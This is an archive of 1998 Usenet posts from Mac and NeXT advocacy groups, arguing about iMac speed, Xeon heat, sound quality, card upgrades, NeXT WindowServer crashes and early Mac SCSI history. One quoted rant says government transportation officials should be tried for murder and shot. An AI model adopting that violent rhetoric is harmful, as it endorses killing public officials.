From: ventosa@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD-quality sound (was: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!)
Date: Fri, 21 Aug 1998 12:02:33 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rjnkp$473$1@nnrp1.dejanews.com>
References: <joe.ragosta-1408981927480001@elk72.dol.net> <joe.ragosta-1508980652460001@elk56.dol.net> <edewExt44K.Hq0@netcom.com> <6racqh$its$2@walter.cs.umd.edu> <gmgraves-1808981108170001@sf-usr1-26-154.dialup.slip.net> <p.kerr-1908981231590001@news.auckland.ac.nz> <6repa4$bge$2@walter.cs.umd.edu> <gmgraves-1908981015510001@sf-usr1-40-168.dialup.slip.net> <6rf3pj$fjd$1@walter.cs.umd.edu> <gmgraves-2008980931360001@sf-usr1-52-180.dialup.slip.net>
> Two track recordings don't need to be mixed (and indeed can't be unless you
want
> mono). Most are never "sweetened" either. I don't listen to "new" albums or
CDs
> for the very reason that they are wildly overproduced and usually sound
> terrible.
Why not listen to the original albums? I have more pleasure listening to my
Dual CS-5000 with Ortofon MC element than with most CDs. I must agree, most
CDs which sounds best imo happen to be older recordings!
> Most of the CDs that I buy are reissues of Mercury Living Prescence LPs (on
CD)
> and RCA Living Stereo CD reissues from the 1950's. Why? Because they were
> recorded simply with only two or at most three microphones through tube
> electronics and they sound more like music. Also, the conductors of the early
> stereo era of the middle 50's are the great ones of this century: Reiner,
> Szell, Walter,
> Leinsdorf, Ormandy, Beecham. Modern conductors pale in their shadows. We are
> lucky to often have great recordings or their best works (try Reiner's
> famous 1954
> stereo recording of Strauss' "Also Sprach Zarathustra" on the RCA Living
Stereo
> CD re-release. While not as spectacular as the original presing of the
> stereo LP,
> it nonetheless is nothing short of a sonic blockbuster. It images so well
> that you
> get the sense of how great the Chicago Symphony Hall sounded before they
> "fixed it"
> thereby ruining it forever in the 1960's).
I went to a small VAD audioshow earlier this year; there were small groups of
audiolovers who are now making recordings the 'old' way, not a mik in front of
every artist and remixing till yer ears fall off but two mikes, audience
distance, couple of feet apart, that's it. Results are amazing.
There was also a setup of a DVD-surround system, 5channel, don't ask me the
name, I forgot because I ran away screaming after three seconds (narrow
electrostatics, UK I think). To hear the music over the back speakers some ms
after it went through the front speakers... nope. Back to the lab boys.
Laurenz
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 20 Aug 1998 19:54:45 GMT
Organization: University of Maryland, College Park
Message-ID: <6rhuu5$6n5$1@hecate.umd.edu>
References: <macghod-1808982216550001@sdn-ar-001casbarp215.dialsprint.net> <B1FFC698-6CC0E@206.165.43.134> <6rf4ss$4ab$1@plo.sierra.com> <rbarris-ya023280001908981129280001@206.82.216.1> <6rfc11$ca4$6@hecate.umd.edu> <rbarris-ya023280001908981346490001@206.82.216.1> <6rfg7c$tfg$1@hecate.umd.edu> <rbarris-ya023280001908981507590001@206.82.216.1> <6rhgsp$2u$6@hecate.umd.edu> <rbarris-ya023280002008981233290001@206.82.216.1>
Rob Barris (rbarris@quicksilver.com) wrote:
: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
: > Rob Barris (rbarris@quicksilver.com) wrote:
: > : davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
: >
: > : > Rob Barris (rbarris@quicksilver.com) wrote:
: > : > : > Intel would need to worry more about getting the 450 MHz, 2 Meg L2
: > : version
: > : > : > of Xeon out the door, for profitability sake instead of some
: silly snail
: > : > : > ad.
: > : >
: > : > : How are they doing with that heat problem?
: > : >
: > : > : http://www.news.com/News/Item/0,4,25304,00.html
: > : >
: > : > Well enough I think. There's still the backlog, but at least no one can
: > : > claim that 4 way Xeons are vaporware anymore. It's just my opinion that
: > : > it's better to have people criticize and buy your shipping product than
: > : > to have people praise your vaporware. But that's just my opinion.
: >
: > : News.com certainly doesn't claim that 4-way Xeons are vaporware, merely
: > : that they overheat and lock up, and that Intel has altered the recommended
: > : design parameters for servers to "work around" this problem in the future.
: >
: > : And there certainly seem to be plenty of people both buying and
: > : critiquing the iMac, so who can argue with that? Since this thread was
: > : originally about how fast the $1249 iMac is, why not just leave the
: > : "mainframe esque" room heating SMP boxes out of it for a minute or two.
: >
: > You're being completely unfair. I had brought out Xeon in the context of
: > stating (as you see above) that Intel really should concentrate on working
: > on getting the faster/larger cached Xeon out the door instead of worry about
: > the snail ads. In no was was I commenting and/or comparing or contrasting
: > Xeon to an iMac. You're the one who decided to go into the product specs and
: > take a shot at it with the "heat" argument. When I responded in the manner
: > I did, (again without any reference to an iMac) you now say I should leave
: > Xeon boxes out of an iMac discussion. ??? How do you figure this?
: It seems to me that Intel has enough manpower to do well more than one
: thing at a time. Your assertion that they should do more work on Xeon
: "instead of" going after competitor's allegedly flawed ads, doesn't hold
: water with me.
: Most indications are that Intel has plenty of people working solely on
: marketing and not on figuring out how to keep a Xeon-450 cool. Presumably
: one group could do one thing while the other group does the other thing,
: no?
Yes, but a corporation often (not always, but often) operates near to the
directions/instincts of its CEO. That used to be Andy Grove, now its Craig
Barrett. Things are done in parallel, emphasis and energy is put into
specific product directions. I was speaking as if I have anywhere near
the influence of Craig Barrett.
: Besides, as you've already pointed out, Intel consciously shuns making
: mention of its competitors in their advertising (recently, anyway, I recall
: a rash of "Which road?" ads from Intel in Macworld a few years back). So
: this "choice" of which path to pursue (finish Xeon? advertise against
: competitors) doesn't really exist in the first place.
I'm not familiar with such a campaign. Did it mention PPC's, or 680x0's,
or Macs by name in a side by side product comparison.
This is like in a Q & A session with the stockholders, and I was pretending
to be the CEO. "Mr Wang, what about all those snail ads?" and my response
would be, "We can't be worried about what our smaller competitors want to do
to portray our product as. The company should be focused on delivering the
best product that it can, and that means getting the profitable Xeon out
the door and into our customer's hands. A satisfied customer is one that
is likely to purchase from us again. Next question."
: "I think everyone should keep breathing". Ah ha, seems most of you have
: followed my expert advice. (They didn't have a choice to begin with, so
: whether I think they should do it or not, it is moot).
??? I don't follow. And I still don't understand the shot about heat on Xeon,
then the chiding about keeping the topic on iMac. That still seems completely
contradictory to me.
: If I am not mistaken you used to work at Intel? True or false?
http://www.wam.umd.edu/~davewang
: Rob
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Message-ID: <rbarris-ya023280001908981507590001@206.82.216.1>
References: <macghod-1808982216550001@sdn-ar-001casbarp215.dialsprint.net> <B1FFC698-6CC0E@206.165.43.134> <6rf4ss$4ab$1@plo.sierra.com> <rbarris-ya023280001908981129280001@206.82.216.1> <6rfc11$ca4$6@hecate.umd.edu> <rbarris-ya023280001908981346490001@206.82.216.1> <6rfg7c$tfg$1@hecate.umd.edu>
Organization: Quicksilver Software, Inc.
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Date: Wed, 19 Aug 1998 15:07:59 -0700
NNTP-Posting-Date: Wed, 19 Aug 1998 15:05:49 PDT
In article <6rfg7c$tfg$1@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> Rob Barris (rbarris@quicksilver.com) wrote:
> : > Intel would need to worry more about getting the 450 MHz, 2 Meg L2
version
> : > of Xeon out the door, for profitability sake instead of some silly snail
> : > ad.
>
> : How are they doing with that heat problem?
>
> : http://www.news.com/News/Item/0,4,25304,00.html
>
> Well enough I think. There's still the backlog, but at least no one can
> claim that 4 way Xeons are vaporware anymore. It's just my opinion that
> it's better to have people criticize and buy your shipping product than
> to have people praise your vaporware. But that's just my opinion.
News.com certainly doesn't claim that 4-way Xeons are vaporware, merely
that they overheat and lock up, and that Intel has altered the recommended
design parameters for servers to "work around" this problem in the future.
And there certainly seem to be plenty of people both buying and
critiquing the iMac, so who can argue with that? Since this thread was
originally about how fast the $1249 iMac is, why not just leave the
"mainframe esque" room heating SMP boxes out of it for a minute or two.
Rob
From: see-below@not-my-address.invalid (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: 3D chips
Date: Thu, 20 Aug 1998 23:07:03 -0700
Message-ID: <see-below-2008982307040001@dynamic13.pm03.mv.best.com>
References: <6ri2mt$3j6@newsb.netnews.att.com> <6rin3i$uki$1@nnrp1.dejanews.com>
In article <6rin3i$uki$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <6ri2mt$3j6@newsb.netnews.att.com>,
> gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> > Apple seems to have picked a safe choice for 3D graphics chips.
> > [It is using 3D RagePro Turbo, isn't it ?]
>
> Nope. The RagePro Turbo is different from the RagePro. It is designed to
> support APG 2x.
Just a note: the Rage Pro Turbo _is_ the Rage Pro hardware exactly, it's
just a newer rev. of the driver (on the PC at least). I can reference a
post from an ATi engineer confirming this if you like...
....................................................
MATTHEW VAUGHAN
matthewv@best.com
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.invalid (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: writing games for yellow box?
Date: Thu, 20 Aug 1998 23:12:17 -0700
Message-ID: <see-below-2008982312170001@dynamic13.pm03.mv.best.com>
References: <mvdk-2008981748580001@192.0.1.3> <Ey01q1.6Ax@T-FCN.Net> <ch-2008981911010001@1cust124.tnt2.redmond.wa.da.uu.net>
In article <ch-2008981911010001@1cust124.tnt2.redmond.wa.da.uu.net>,
ch@TAKETHISOUTastronavigation.com (coliN) wrote:
> Hello.
>
> In article <Ey01q1.6Ax@T-FCN.Net>, maury@remove_this.istar.ca (Maury
> Markowitz) wrote:
>
> >
> > The combination of the two is likely to reduce the time needed to build a
> > game enormously, which is why the id people used to use it.
> >
>
> It's apparently still used for level programming.
> The Quake engine really makes up id's bread and
> butter(licensing it) and I don't think there's
> been all that much significant work done it any
> recent time.
Just to clear up any possible confusion, could you explain more clearly
what this paragraph means? What are you referring to that hasn't been
worked on recently? The Quake engine? Using OpenStep at id? I'm just
having a hard time understanding your meaning here (and deciding whether
it needs to be corrected or not;)
....................................................
MATTHEW VAUGHAN
matthewv@best.com
http://www.best.com/~matthewv/
....................................................
Date: Wed, 19 Aug 1998 20:53:28 -0700
From: jak@asu.edu (John Kestner)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Message-ID: <jak-1908982053290001@ddialup168.phnx.uswest.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <35D865AF.5045B9BA@inficad.com> <35d98440.15799568@news.netdirect.net> <jak-1808982348440001@dialup110.phnx.uswest.net> <35d9ed36.2151113@news.netdirect.net>
Organization: Blues Industrial
pDC?^;F326tzhE*=nKWFfDW[,&
In article <35d9ed36.2151113@news.netdirect.net>, ev515o@hotxxxmail.com
(Mayor Of R'lyeh) wrote:
>>Why do I need to swap a soundcard?
>
>You don't 'need' to swap a soundcard. If the sound you have is good
>enough for you then keep the one you have. What about later, though?
>When a new soundcard comes out that you like better? Are you going to
>go out and buy an entire new computer just because you're too timid to
>delve into your machine's guts?
I doubt anyone will be craving 24-bit, 96-kHz sound anytime soon (at least
until the music industry forces us to), but at least my Mac can take
better soundcards. But since Macs start with CD-quality sound, the need to
upgrade is far off enough (at least 5 years, I'd say) that it'd be time to
upgrade the whole computer anyway.
>> Isn't CD-quality built-in sound enough?
>
>Not for serious gaming. Those guys want the 3D Surround Sound
>experience.
Ok, that would answer my question. Now is that something that is encoded
in more than the 2 standard stereo channels? If not, then can't it be
added with the right speakers?
>>(It's nice for developers to know they can count on a single sound
>>interface, too.)
>
>Doesn't the Mac handle that through the OS? Under Windows you just
>need a Windows driver for your soundcard not a whole new interface.
Yeah, I just meant a standard API and standard features to expect in the
target computer. I shouldn't have mentioned this, since Windows has a
standard API, too.
>>And the point is, should a new user have to deal with swapping cards?
>
>No one should have to deal with anything they don't want to. But let's
>be honest here. Swapping a soundcard is almost brain dead simple. Most
>people are perfectly capable of doing it if they'd bother to learn
>how. The first time I went to swap out cards in my PC I was sure that
>the instructions I had were missing a page or two. I thought it was
>going to be much tougher than it turned out to be; and this was before
>PnP.
I've had the same (suprisingly good) experience - with a 286 and a SoundBlaster!
>> but if someone doesn't want to think about such
>>things, does that make him or her a "wuss"?
>
>I don't believe I ever used the word 'wuss' about those people
>reluctant to swap their HW around. If I did I withdraw it and
>apologize.
> My main gripe is that I know a lot of people who are reluctant to
>swap out cards. They know I'm not and call me to do it for them. When
>I try to show them how simple it is they just ignore me and pretend
>that its too complicated for them to understand. Some of these people
>I've essentially built new machines for over the years one piece at a
>time. I could understand their reluctance if they've never had the
>oppurtunity to learn but these people can't make that claim.
No, you didn't call anyone a wuss. But my point with this, and the
microwave analogy (we'll never find a perfect comparison), is that someone
shouldn't _have_ to deal with it. Yes, I can upgrade a computer for my
mom, but I don't expect her to learn how to do it herself - she has enough
on her hands controlling and trying to teach a bunch of preschoolers.
I too get frustrated when people ask me to do simple things that they
could figure out with a little time and effort, but we're looking at it
from our own perspective. People can just get overwhelmed and confused by
the unfamiliar. I've had opportunities to learn how to rebuild an engine
(uh-oh, here comes that analogy again!), but I can't devote the time and
concentration to learning something that seems so intimidating and
something I'll probably never need to do. And that's why I would pay a
mechanic to do the job (regardless of whether it's a life-or-death issue).
That said, I can't disagree with wanting to have as many upgradable
components as possible. But the tradeoff sometimes has to be made, for
simplicity and cost savings. Apple is positioning the iMac as an
appliance, much like a TV - one box that you plug in, and start using (so
goes the theory).
john
--
In the year 2000... "David Copperfield will finally reveal how he does his
tricks...He's Jesus!" - Andy Richter
jak@asu.edu - http://www.public.asu.edu/~jkestner/
Date: Wed, 19 Aug 1998 22:09:48 -0600
From: tonywong@_no_spam_compusmart.ab.ca (Tony Wong)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Message-ID: <tonywong-1908982209480001@remote494.compusmart.ab.ca>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <35dc0e60.788068@news.supernews.com> <slrn6tkr5o.bl2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35de4bec.11657983@news.netdirect.net> <6rflmn$a27$1@xena.acsu.buffalo.edu>
Can we get back on topic?
Move this Car/regulation stuff onto Alt.auto.fanatic.noonecares
Sorry about the waste of bandwidth.
Tony
--
remove no spam to reply...
From: scholl@xena.acsu.buffalo.edu (Edward P Scholl)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Followup-To: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Date: 19 Aug 1998 19:04:55 -0400
Organization: University at Buffalo
Message-ID: <6rflmn$a27$1@xena.acsu.buffalo.edu>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <35dc0e60.788068@news.supernews.com> <slrn6tkr5o.bl2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35de4bec.11657983@news.netdirect.net>
NNTP-Posting-User: scholl
wow. you've got problems man. get a couple valiums or somethin'.
-ed
Mayor Of R'lyeh (ev515o@hotxxxmail.com) wrote:
: No instead we have a bunch of bureaucrats telling car manufacturers
: what they will make and how many. We have CAFE standards that mandate
: smaller less safe cars. We have air bags being forced onto cars
: despite car manufacturer's warnings that they could kill some people.
: (IMO every Secretary of Transportation from whenever air bags were
: first forced on car manufacturers to the current one should be tried
: for as many counts of murder as people have been killed by the things.
: After they've been found guilty (There can be no other outcome in a
: fair trial on this issue. The evidence is that overwhelming.) they
: should be shot.) These same bureaucrats are looking at the results of
: collisions between SUVs and compact cars and concluding that the SUV
: is just too safe. Doubtless, we will soon see regulations mandating an
: 'equal right to die' in a collision.
: You may get your wish. Even a small victory by the government against
: MS will get the ball rolling in this direction. The funny thing is
: that since the government will find it easier to mandate the most
: popular to be the only thing allowable, you will be literally forced
: (at gunpoint) to use MS. No doubt it will be 'for the children' in
: some way.
: Failure to use government mandated software will result in you and
: your family getting the 'Randy and Vickie Weaver Treatment'. Won't
: that just be Paradise?
: >
: >And the chariman of Gigantic Motors (makers of Tempo and other fine
: >Tempo accessories) isn't under suspicion of muscling Tucker motors out
: >of business.
: No the government did that as well. Your vision of a glorious future
: sure seems odd.
: On the facts before us, however, we are inclined to conclude
: that the Windows 95/IE package is a genuine integration;
: consequently, s IV(E)(i) does not bar Microsoft from offering
: it as one product.
: United States Court of Appeals
: FOR THE DISTRICT OF COLUMBIA CIRCUIT
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Wed, 19 Aug 1998 21:26:59 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1908982126590001@sdn-ar-001casbarp258.dialsprint.net>
References: <6rg1b7$2ae$2@hecate.umd.edu>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <6rg1b7$2ae$2@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> : > Where have you seen the Imation drive for $60? $160 is more like it
and it
> : > lists for around $200.
>
> : George, reread what I said. A Imation internal IDE superdisk. Its the
> : *USB* version that costs around $189. SOmeone else posted that someplace
> : had the IDE version for $60, I think it was office Max?
>
> I forget which store it was, but there was an offer of "Buy a WD hard drive,
> and get an internal Imation drive for free!" The least expensive drive you
> could purchase was a 4 Gig WD for $149. So for $149, you get a 4 gig WD
> drive, and an Imation LS120. That's an even better dead than the bare drive
> for $60.
Please tell us who has this if you remember. Too bad I cant find a sucker
to pay $50 for my g3 internal super expensive floppy drive :P
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Date: Thu, 20 Aug 1998 05:51:44 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rgdhg$egl$1@nnrp1.dejanews.com>
References: <macghod-1808982216550001@sdn-ar-001casbarp215.dialsprint.net> <B1FFC698-6CC0E@206.165.43.134> <6rf4ss$4ab$1@plo.sierra.com> <joe.ragosta-1908981446040001@wil87.dol.net>
In article <joe.ragosta-1908981446040001@wil87.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Just as MrC is about 40% faster than the Mac compiler that Byte used.
The difference is that most Windows developers use VC++ while most Mac
developers use the CodeWarrior compilers.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OS X WindowServer death?
Date: 20 Aug 1998 03:07:32 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6rg3tk$8cq$1@lwnws01.ne.highway1.com>
References: <35db5f52.0@news.depaul.edu>
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> NeXTSTEP/OpenStep's achilles' heel was always the
> dreaded WindowServer death, since it would inescapably
> kill all your applications, without warning. So much
> for protected memory.
[snip]
> I would very, very happily trade remote app display for
> the cure of WindowServer death.
I wonder if that wasn't yet another reason to go with PDF. No more
client/server model in that respect is a plus. Not that client server is bad
when done well, as you suggest with the possibility of a app-reconnect when
re-running the server, but rather it was never made robust in that fashion.
And I wonder if going PDF/non client/server was just an easier solution than
getting all of that straight. Licensing from Adobe probably didn't help
either.
--
Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: Rhapsody Openstep changes: opinions of NeXT programmers and users?
Message-ID: <edewExyon1.HBE@netcom.com>
Sender: edew@netcom2.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6rdoq7$4fl$1@news.digifix.com> <35daf168.0@news.depaul.edu> <slrn6tmb7e.du9.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Date: Thu, 20 Aug 1998 00:13:49 GMT
In article <slrn6tmb7e.du9.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> mbkennel <replace this with '@'> yahoo.com writes:
>
>Voice as UI would be great for Starcraft and other similar real-time
>strategy games. ("Marine squad alpha hold position. Tanks, Siege mode.
>Ghost 3, cloak. Lockdown enemy carrier.")
>
>Starcraft, a PC game I have to admit liking greatly, has the neatest overall
>UI I've used since NeXTSTEP. Of course it is limited to a single domain.
Sounds like you've been on that game for about 24 days straight, eh? :-)
EDEW
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: OS X WindowServer death?
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <35db5f52.0@news.depaul.edu>
Message-ID: <IJOC1.95038$7_3.3333946@news.rdc1.sdca.home.com>
Date: Thu, 20 Aug 1998 05:45:12 GMT
NNTP-Posting-Date: Wed, 19 Aug 1998 22:45:12 PDT
Organization: @Home Network
In <35db5f52.0@news.depaul.edu> Jonathan W Hendry wrote:
> NeXTSTEP/OpenStep's achilles' heel was always the
> dreaded WindowServer death,
In 8 years, I've only seen WindowServer "death" 2 or 3 times. In the last 5
years, I haven't seen it at all. The WindowServer annoying "wait-state"?
Now I see that too often. I should hope that spinning disk is gone by OS X.
I wouldn't hoist Apple's new OS by its WindowServer to the height of
Microsoft's infamous "Blue Screen of Death" :-)
-r
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Fri, 21 Aug 1998 06:07:03 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rj2q7$cqc$1@nnrp1.dejanews.com>
References: <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14>
In article <B2021373-186F9@206.165.43.14>,
"Lawson English" <english@primenet.com> wrote:
> My understanding is that the Carbon API is a MacOS-like wrapper over the
> low-level services that the YellowBox itself uses.
The services that they share would have to be very low level because you
couldn't wrap the Carbon APIs over the YB. Mac OS programs expect to see and
control events that are handled by the YB window server.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 21 Aug 1998 06:13:57 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rj375$cu3$1@nnrp1.dejanews.com>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net>
In article <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> Good thing too. Your operating system is such unmittigated junk that
> you have to be willing to spend most of your time futzing with it. Me?
> I'd rather just get my work done. That's why I use Macintosh.
How do you know what operating system he's running? Maybe he's running
OpenStep, BeOS or Linux. Do you think that the Mac OS is better than all of
those? Even Windows NT is decisively better than the Mac OS.
--
Brian Quinlan
quinlan@intergate.bc.ca
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From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Fri, 21 Aug 1998 06:11:03 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rj31o$css$1@nnrp1.dejanews.com>
References: <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6riimr$3r8$1@lwnws01.ne.highway1.com>
In article <6riimr$3r8$1@lwnws01.ne.highway1.com>,
jkheit@mediaone.net wrote:
> There is much better in terms of smalltalk development. However, you're
> alluding to Delphi, which I hear is nice, but is based on pascal. Objective
> C has advantages there, IMO.
What is the problem with using Pascal as a base language? Pascal allows some
contructs that aren't available in C (sets, ranges, pass by reference,
procedure nesting, with, etc.) and it's major deficiencies where mixed in
Modula-2 (open ended arrays, unsigned types, better import/export, module
initialization, etc.)
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: Jeff Walther <trag@dillinger.io.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: 20 Aug 1998 22:04:33 GMT
Organization: Illuminati Online
Message-ID: <6ri6hh$nql$2@hiram.io.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <35D9EE6C.7032@ieighty.net> <6rcrqt$kjs$1@nnrp02.primenet.com>
NNTP-Posting-Date: 20 Aug 1998 22:04:33 GMT
User-Agent: tin/pre-1.4-980226 (UNIX) (FreeBSD/2.2.5-RELEASE (i386))
In comp.sys.mac.hardware.misc John Jensen <jjens@primenet.com> wrote:
> You know, I remember hardware hackers adding SCSI to the Mac 128 and "fat
> mac" 512 when Apple's position was that AppleTalk should be used for
> external disks. I _beleive_ that Apple followed these independent hacks
> with their own SCSI offering.
You know, I may be mistaken about this, but I don't think that any of
those SCSI upgrades existed until the Mac Plus was out. The 128K came
out in late '83/ early '84, the 512K about a year later and the Mac
Plus in late '85 early '86. I'm pretty sure that the upgrade to a
Mac 512KE wasn't available until the Plus came out, as Apple
continued to sell the 512K for some time after the Plus was available.
The code for the SCSI manager wasn't in the ROM until the Plus came
out and I don't think those SCSI upgrades work without that code
in the ROM. So the SCSI upgrades only worked on 512KE's not
512K's and wouldn't work on a 128K at all, unless the ROM had been
upgraded.
The three main upgrades from 128K to Plus were: 1) updated ROM's
from 64K to 128K added support for SCSI; 2) switched from single
sided 400K floppy drive to double sided 800K drive; 3) increased
RAM from 128K to 512K in the Mac 512K and 512KE, and increased
to four SIMM sockets in the Plus.
The 128K and 512K had the old ROM. The 512KE and Plus came with
the new ROM. Same for the 400K vs. 800K floppy drive.
So while people did put SCSI upgrades in teh 128K and 512K machines,
those machines all had Mac Plus ROM's installed at some point
before the upgrade was installed.
Unless there were some earlier upgrades that came with an Init that
contained SCSI support... I might have missed those.
From: Jeff Walther <trag@dillinger.io.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: 20 Aug 1998 21:33:39 GMT
Organization: Illuminati Online
